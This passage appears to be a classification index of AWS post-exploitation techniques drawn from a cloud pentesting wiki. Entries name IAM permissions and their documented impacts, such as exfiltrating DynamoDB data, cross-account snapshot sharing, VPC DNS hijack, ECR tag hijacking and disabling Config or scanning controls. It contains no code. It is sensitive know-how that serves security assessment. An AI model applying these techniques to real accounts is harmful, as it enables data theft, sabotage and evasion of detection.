src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-post-exploitation/README.md#cognito-idpdeleteuserpooldomain--cognito-idpdeleteuserpool--destroy-the-identity-plane + technique: '`cognito-idp:DeleteUserPoolDomain` | `cognito-idp:DeleteUserPool` — destroy the identity plane' + reason: 'Documented impact: Irrecoverable loss of the application''s identity provider — all users, groups and + federated links gone, every deployed client pointing at a pool ID that no longer exists, and a released domain + prefix that a third party can... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#redirect-future-configuration-inventory-with-configputdeliverychannel + technique: Redirect future configuration inventory with `config:PutDeliveryChannel` + reason: 'Documented impact: A full, continuously-updated copy of the account''s configuration inventory (every + recorded resource''s state) is streamed to an attacker-controlled S3 bucket and/or SNS topic, with no iam:PassRole + needed for an... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#force-a-fixed-custom-evaluator-with-configstartconfigrulesevaluation + technique: Force a fixed custom evaluator with `config:StartConfigRulesEvaluation` + reason: 'Documented impact: Conditionally high: it cannot change evaluator code or role, but it re-runs an existing + custom rule''s Lambda on demand. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-config-post-exploitation/README.md#neuter-a-rule-in-place-with-configputconfigrule-blind + technique: Neuter a rule in place with `config:PutConfigRule` (blind) + reason: 'Documented impact: A live security rule keeps existing (so inventory/"is the rule present" checks stay + green) but is silently gutted so it can never report NON_COMPLIANT again — quieter than deleting the rule. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-health-post-exploitation/README.md#read-patient-workflow-metadata-with-health-agentgetpatientinsightsjob + technique: Read patient-workflow metadata with `health-agent:GetPatientInsightsJob` + reason: 'Documented impact: Disclosure of regulated patient/workflow context (patient and clinician identifiers + plus encounter purpose), job progress, internal HealthLake endpoints, and S3 input/output locations. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#connectcreateparticipant--mint-a-live-chat-or-webrtc-participant-bearer + technique: '`connect:CreateParticipant` — Mint a live chat or WebRTC participant bearer' + reason: 'Documented impact: Join an active customer interaction as a custom chat participant or additional WebRTC + customer, receive live conversation content, send allowed messages/events, or obtain live meeting credentials + without a Connect user/CCP login. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-data-exchange-post-exploitation/README.md#dataexchangecreatedatagrant--dataexchangepublishtodatagrant--share-an-owned-data-set + technique: '`dataexchange:CreateDataGrant` + `dataexchange:PublishToDataGrant` — share an owned data set' + reason: 'Documented impact: Cross-account disclosure of every finalized revision in one already-owned Data Exchange + data set, potentially including future revisions while the grant remains active. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-data-exchange-post-exploitation/README.md#dataexchangecreatejob--dataexchangestartjob--export-file-assets + technique: '`dataexchange:CreateJob` + `dataexchange:StartJob` — export file assets' + reason: 'Documented impact: Copies selected file assets or revisions that the identity is already authorized to + read, either through a one-minute download URL or to an S3 destination it is authorized to write. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-databrew-stored-job-post-exploitation/README.md#databrewstartjobrun--execute-a-stored-data-transfer + technique: '`databrew:StartJobRun` — Execute a stored data transfer' + reason: The section documents the resource or service effect of `databrew:StartJobRun` — Execute a stored data + transfer, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#expand-an-existing-locations-path-with-datasyncupdatelocations3 + technique: Expand an existing location's path with `datasync:UpdateLocationS3` + reason: 'Documented impact: Exfiltration of additional objects within the location''s bucket that the stored DataSync + role can read, or writes/deletes in a broader destination prefix that the stored role can modify. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#delegated-copy-with-datasyncstarttaskexecution + technique: Delegated copy with `datasync:StartTaskExecution` + reason: 'Documented impact: Disclosure or replication of data that the caller cannot access at the source, using + the existing DataSync role. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectdescribevirtualinterfaces--describerouterconfiguration--recover-bgp-authentication-material + technique: '`directconnect:DescribeVirtualInterfaces` / `DescribeRouterConfiguration` — recover BGP authentication + material' + reason: 'Documented impact: Recovers a reusable BGP authentication credential and the corresponding peer configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectcreatedirectconnectgatewayassociationproposal--propose-an-attacker-dx-gateway-from-the-victim-account + technique: '`directconnect:CreateDirectConnectGatewayAssociationProposal` — propose an attacker DX gateway from + the victim account' + reason: 'Documented impact: After attacker-side acceptance and routing convergence, establishes a cross-account + hybrid path from attacker-controlled Direct Connect infrastructure toward prefixes behind the victim TGW/VGW. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectassociatemacseckey--updateconnection--weaken-link-layer-encryption + technique: '`directconnect:AssociateMacSecKey` / `UpdateConnection` — weaken link-layer encryption' + reason: 'Documented impact: Allows plaintext fallback or disables required MACsec where supported, reducing link + confidentiality/integrity for an on-path attacker. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md#dlmcreatelifecyclepolicy-iampassrole--recurring-cross-account-ebs-snapshot-sharing + technique: '`dlm:CreateLifecyclePolicy`, `iam:PassRole` — recurring cross-account EBS snapshot sharing' + reason: 'Documented impact: Repeatedly exposes snapshots of every matching EBS volume to an attacker-controlled + AWS account, including new snapshots created after the attacker loses access. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dms-post-exploitation/README.md#s3-target-redirection-with-dmsmodifyendpoint + technique: S3 target redirection with `dms:ModifyEndpoint` + reason: 'Documented impact: Exfiltration of data processed by a known DMS task to an attacker-readable S3 destination, + using the endpoint''s already-authorized service role. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dms-post-exploitation/README.md#dmsstartreplicationtask--execute-a-fixed-migration-through-stored-endpoint-roles + technique: '`dms:StartReplicationTask` — Execute a fixed migration through stored endpoint roles' + reason: 'Documented impact: Move a sensitive source database''s contents to an attacker-observable destination + by starting a preconfigured migration task — no iam:PassRole, no DMS describe permission, and no operator involvement + required. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-drs-mgn-post-exploitation/README.md#drsstartrecovery--drsupdatelaunchconfiguration--boot-a-copy-of-a-production-server + technique: '`drs:StartRecovery` (+ `drs:UpdateLaunchConfiguration`) — boot a copy of a production server' + reason: 'Documented impact: Full read access to the complete disk contents (secrets, credentials, databases) of + any replicated production server, by booting or cloning a disaster-recovery copy — no access to the source server + required. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-drs-mgn-post-exploitation/README.md#mgnstartexport--exfiltrate-the-migration-inventory-to-an-attacker-bucket + technique: '`mgn:StartExport` — exfiltrate the migration inventory to an attacker bucket' + reason: 'Documented impact: Cross-account exfiltration of the full server-migration inventory (a detailed map + of the target''s fleet), and — via test/cutover launches — the same full-disk access to replicated servers as + DRS. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbbatchgetitem + technique: '`dynamodb:BatchGetItem`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under known + keys. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbgetitem + technique: '`dynamodb:GetItem`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under a known + key. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbtransactgetitems + technique: '`dynamodb:TransactGetItems`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under known + keys. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbquery + technique: '`dynamodb:Query`' + reason: 'Documented impact: Disclosure of every matching record for a partition key, including credentials, tokens, + and PII. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbscan + technique: '`dynamodb:Scan`' + reason: 'Documented impact: Full table-data disclosure, including credentials, tokens, and PII. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbpartiqlselect + technique: '`dynamodb:PartiQLSelect`' + reason: The section documents the resource or service effect of `dynamodb:PartiQLSelect`, without a reusable AWS + principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable-dynamodbdescribestream-dynamodbgetsharditerator-dynamodbgetrecords + technique: '`dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`' + reason: 'Documented impact: Near-real-time disclosure of new and modified application data, credentials, tokens, + or PII. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#read-items-via-dynamodbupdateitem-and-returnvaluesall_old + technique: Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` + reason: 'Documented impact: Read arbitrary items from a table with only write permissions, enabling sensitive + data exfiltration when primary keys are known. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#read-items-via-update-in-dynamodbtransactwriteitems + technique: Read items via `Update` in `dynamodb:TransactWriteItems` + reason: 'Documented impact: Read arbitrary items (by primary key) from a table using only transactional write + privileges via the returned cancellation reasons. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable--dynamodbupdateitem--dynamodbquery-on-gsi + technique: '`dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI' + reason: 'Documented impact: Full table exfiltration by querying a newly created GSI that projects all attributes, + even when base table read APIs are denied. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbexporttabletopointintime-and-dynamodbupdatecontinuousbackups-if-pitr-is-disabled + technique: '`dynamodb:ExportTableToPointInTime` (and `dynamodb:UpdateContinuousBackups` if PITR is disabled)' + reason: This heading concerns reading or exporting data via `dynamodb:ExportTableToPointInTime` (and `dynamodb:UpdateContinuousBackups` + if PITR is disabled); it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbrestoretablefrombackup-and-dynamodbcreatebackup-to-create-a-source-backup + technique: '`dynamodb:RestoreTableFromBackup` (and `dynamodb:CreateBackup` to create a source backup)' + reason: The section documents the resource or service effect of `dynamodb:RestoreTableFromBackup` (and `dynamodb:CreateBackup` + to create a source backup), without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable-replica-updates--dynamodbcreatetablereplica + technique: '`dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`' + reason: 'Documented impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbenablekinesisstreamingdestination-continuous-exfiltration-via-kinesis-data-streams + technique: '`dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)' + reason: 'Documented impact: Continuous, near real-time exfiltration of table changes to an attacker-controlled + Kinesis stream without direct read operations on the table. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbrestoretablefrombackup-dynamodbrestoretabletopointintime-and-dynamodbrestoretablefromawsbackup-for-aws-backup-recovery-points + technique: '`dynamodb:RestoreTableFromBackup`, `dynamodb:RestoreTableToPointInTime` (and `dynamodb:RestoreTableFromAwsBackup` + for AWS Backup recovery points)' + reason: 'Documented impact: Recreate the table''s data — at a chosen past timestamp — under a new name the attacker + controls, reading historical values that may have since been rotated or deleted from production. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbputitem + technique: '`dynamodb:PutItem`' + reason: 'Documented impact: Replacing an entire existing item or inserting a crafted item can corrupt application + state and enable downstream authorization or business-logic abuse. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdateitem + technique: '`dynamodb:UpdateItem`' + reason: 'Documented impact: Targeted attribute changes—or creation of a record when the supplied key does not + exist—can alter application behavior without replacing the whole item. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbdeletetable + technique: '`dynamodb:DeleteTable`' + reason: 'Documented impact: Data loss and disruption of services relying on the deleted table. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbdeletebackup + technique: '`dynamodb:DeleteBackup`' + reason: 'Documented impact: Data loss and inability to recover from a backup during a disaster recovery scenario. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetimetolive + technique: '`dynamodb:UpdateTimeToLive`' + reason: 'Documented impact: Set a TTL on an attribute to make DynamoDB silently delete items in bulk — stealthy, + gradual data destruction that looks like normal expiry rather than an attack. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmputresourcepolicy--share-a-securestring-parameter-with-another-account + technique: '`ssm:PutResourcePolicy` — share a SecureString parameter with another account' + reason: 'Documented impact: Continuous read access to the parameter''s value — database passwords, API tokens, + private keys — from an account the defender does not control, without the secret ever being read by a principal + inside the victim account. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmmodifydocumentpermission--publish-an-ssm-document-to-the-world + technique: '`ssm:ModifyDocumentPermission` — publish an SSM document to the world' + reason: 'Documented impact: Public or cross-account disclosure of the document''s content and of any secret, internal + hostname or deployment detail embedded in it; used in reverse, it breaks automation in every account that depended + on the share. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#malicious-vpc-mirror---ec2describeinstances-ec2runinstances-ec2createsecuritygroup-ec2authorizesecuritygroupingress-ec2createtrafficmirrortarget-ec2createtrafficmirrorsession-ec2createtrafficmirrorfilter-ec2createtrafficmirrorfilterrule + technique: '**Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, + `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirror' + reason: 'Documented impact: Full packet capture of every victim instance''s inbound and outbound traffic — session + tokens, internal API calls, database queries and any plaintext credential on the wire — with nothing installed + on the targets. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2enableaddresstransfer--hand-a-public-ip-to-another-account + technique: '`ec2:EnableAddressTransfer` — hand a public IP to another account' + reason: 'Documented impact: Permanent loss of a public IP address to an attacker-controlled account, plus impersonation + of the victim to everyone who trusts that address — DNS records, partner allowlists and IP reputation all continue + to resolve to it. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifysecuritygrouprules--widen-an-existing-rule-in-place + technique: '`ec2:ModifySecurityGroupRules` — widen an existing rule in place' + reason: 'Documented impact: Internet-wide exposure of any port already allowed to a narrow range, applied in a + way that preserves rule identity and count and carries a plausible approval note — bypassing most security-group + drift and review tooling. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2authorizesecuritygroupingress + technique: '`ec2:AuthorizeSecurityGroupIngress`' + reason: 'Documented impact: Direct network exposure of internal services (databases, admin panels, management + ports) to the Internet or to attacker-chosen networks. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2replacenetworkaclentry + technique: '`ec2:ReplaceNetworkAclEntry`' + reason: 'Documented impact: Exposes or severs an entire subnet at once — a far larger blast radius than a security-group + change, affecting every current and future instance in it. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#quick-local--remote-port-forward-aws-startportforwardingsession + technique: Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) + reason: 'Documented impact: Turns any SSM-managed instance into a pivot, reaching private services — internal + APIs, databases, EKS control planes — that are unreachable from the attacker''s network and protected by security + groups and NACLs. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyvpcendpoint--rewrite-a-restrictive-vpc-endpoint-policy + technique: '`ec2:ModifyVpcEndpoint` — rewrite a restrictive VPC endpoint policy' + reason: 'Documented impact: Restores unrestricted access to the endpoint''s service for the whole VPC, re-enabling + data exfiltration from private subnets that have no other egress; inverted, it is a full denial of service for + every workload that depends... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#allowed-amis--ec2enableallowedimagessettings-ec2replaceimagecriteriainallowedimagessettings + technique: Allowed AMIs — `ec2:EnableAllowedImagesSettings`, `ec2:ReplaceImageCriteriaInAllowedImagesSettings` + reason: 'Documented impact: Removal or neutering of the account''s AMI provenance control, enabling instances + to be launched from attacker-published images — or, inverted, a Region-wide block on all new instance launches. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2disableimageblockpublicaccess--ec2enablesnapshotblockpublicaccess--flip-the-public-sharing-guardrails + technique: '`ec2:DisableImageBlockPublicAccess` | `ec2:EnableSnapshotBlockPublicAccess` — flip the public-sharing + guardrails' + reason: 'Documented impact: Removes the last account-level control preventing AMIs and EBS snapshots — and therefore + whole disk images, including their credentials and data — from being shared with the entire internet; inverted, + it revokes existing... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmputcomplianceitems--fabricate-patch-compliance + technique: '`ssm:PutComplianceItems` — fabricate patch compliance' + reason: 'Documented impact: Compliance dashboards, audit evidence and any alerting built on SSM compliance become + untrustworthy — unpatched or compromised hosts are reported as healthy, or responders are flooded with fabricated + critical findings. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2delete + technique: '`ec2:Delete*`' + reason: 'Documented impact: Immediate service disruption and permanent data loss, plus destruction of forensic + evidence — deleted snapshots, AMIs, volumes and flow logs are unrecoverable. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createroute--ec2replaceroute--silent-traffic-redirection-and-blackholing + technique: '`ec2:CreateRoute` | `ec2:ReplaceRoute` — silent traffic redirection and blackholing' + reason: 'Documented impact: Man-in-the-middle over selected or all egress traffic from a subnet — TLS-terminating + proxy, credential capture, response tampering — or an immediate, silent blackhole of any chosen prefix. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyebsdefaultkmskeyid--own-the-key-that-protects-every-future-volume + technique: '`ec2:ModifyEbsDefaultKmsKeyId` — own the key that protects every future volume' + reason: 'Documented impact: Attacker control of the encryption key for all future EBS volumes and snapshots in + the Region — readable by the attacker, and destroyable at will — or, in the disable direction, silent removal + of encryption-at-rest for... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2locksnapshot--make-backups-undeletable-ebs-ransomware + technique: '`ec2:LockSnapshot` — make backups undeletable (EBS ransomware)' + reason: 'Documented impact: Permanent, unrecoverable denial of deletion on EBS snapshots — unbounded forced storage + cost and an anti-cleanup foothold that survives full remediation of the account. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createdhcpoptions-ec2associatedhcpoptions--vpc-wide-dns-hijack + technique: '`ec2:CreateDhcpOptions`, `ec2:AssociateDhcpOptions` — VPC-wide DNS hijack' + reason: 'Documented impact: Attacker-controlled name resolution for every instance in the VPC — credential interception + via spoofed internal endpoints, malicious package/update sources, and an easy full-VPC outage — obtained without + touching a single... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md#aws--covert-disk-exfiltration-via-ami-store-to-s3-createstoreimagetask + technique: AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + reason: 'Documented impact: Full offline acquisition of the EBS snapshot data represented by the AMI (credentials, + configuration, and filesystem contents) as one downloadable S3 object, without changing snapshot sharing settings. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#overwrite-a-trusted-tag-via-ecrputimage-tag-hijacking--supply-chain + technique: Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain) + reason: 'Documented impact: Code execution in every consumer that pulls the tag — ECS services, EKS pods, Lambda + container functions, App Runner and CodeBuild — each running with whatever role that workload carries, with + no change to any deployment manifest. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#subvert-managed-image-signing-via-ecrputsigningconfiguration--ecrdeletesigningconfiguration + technique: Subvert managed image signing via `ecr:PutSigningConfiguration` / `ecr:DeleteSigningConfiguration` + reason: 'Documented impact: Registry-wide subversion of image-signing integrity — target repositories stop being + signed, or are signed by an attacker-controlled key — enabling malicious images to pass (or bypass) signature-based + admission when downstream... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#registrywide-scanning-engine-downgrade-via-ecrputaccountsetting-obsolete + technique: Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (obsolete) + reason: 'Documented impact: Historically a registry-wide downgrade of the scanning engine; retained here because + the permission still appears in older policies and the event name is still worth recognising in trails. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#registry-level-stealth-disable-or-downgrade-scanning-via-ecrputregistryscanningconfiguration + technique: 'Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`' + reason: 'Documented impact: Registry-wide loss of vulnerability detection: malicious or vulnerable images stop + being flagged on push, and because ECR only reports findings for scans that actually ran, the console shows + no findings rather than an error —... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#ecrputlifecyclepolicy--ecrdeleterepository--ecr-publicdeleterepository--ecrbatchdeleteimage--ecr-publicbatchdeleteimage + technique: '`ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` + | `ecr-public:BatchDeleteImage`' + reason: 'Documented impact: Destruction of the images the environment deploys from: every running workload survives + until its next pull, then fails to start. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-data-access-post-exploitation/README.md#ecsdescribetaskdefinition--read-container-environment-and-secret-references + technique: '`ecs:DescribeTaskDefinition` — Read container environment and secret references' + reason: 'Documented impact: Disclosure of container configuration, plaintext environment values, internal endpoints, + role ARNs, private image locations, and secret identifiers. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-data-access-post-exploitation/README.md#ecsdescribetasks--task-override-disclosure + technique: '`ecs:DescribeTasks` — task-override disclosure' + reason: This heading concerns reading or exporting data via `ecs:DescribeTasks` — task-override disclosure; it + does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-task-role-credentials-through-ecsexecutecommand + technique: Steal task-role credentials through `ecs:ExecuteCommand` + reason: The ecs:ExecuteCommand role-credential path is modeled by aws-ecs-executecommand; this section gives post-exploitation + details of the same task-role target. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#disable-container-insights-with-putaccountsettingdefault-or-updateclustersettings + technique: Disable Container Insights with `PutAccountSettingDefault` or `UpdateClusterSettings` + reason: 'Documented impact: Loss of Container Insights performance log ingestion, dashboards, and the additional + metrics/alarms that depend on it for the targeted existing cluster or affected future clusters. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreatereplicationconfiguration--replicate-into-a-prepared-cross-account-file-system + technique: '`elasticfilesystem:CreateReplicationConfiguration` — replicate into a prepared cross-account file + system' + reason: 'Documented impact: A continuing cross-account copy of source data and metadata to an attacker-readable + destination, bounded by replication progress and the last successful sync. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: 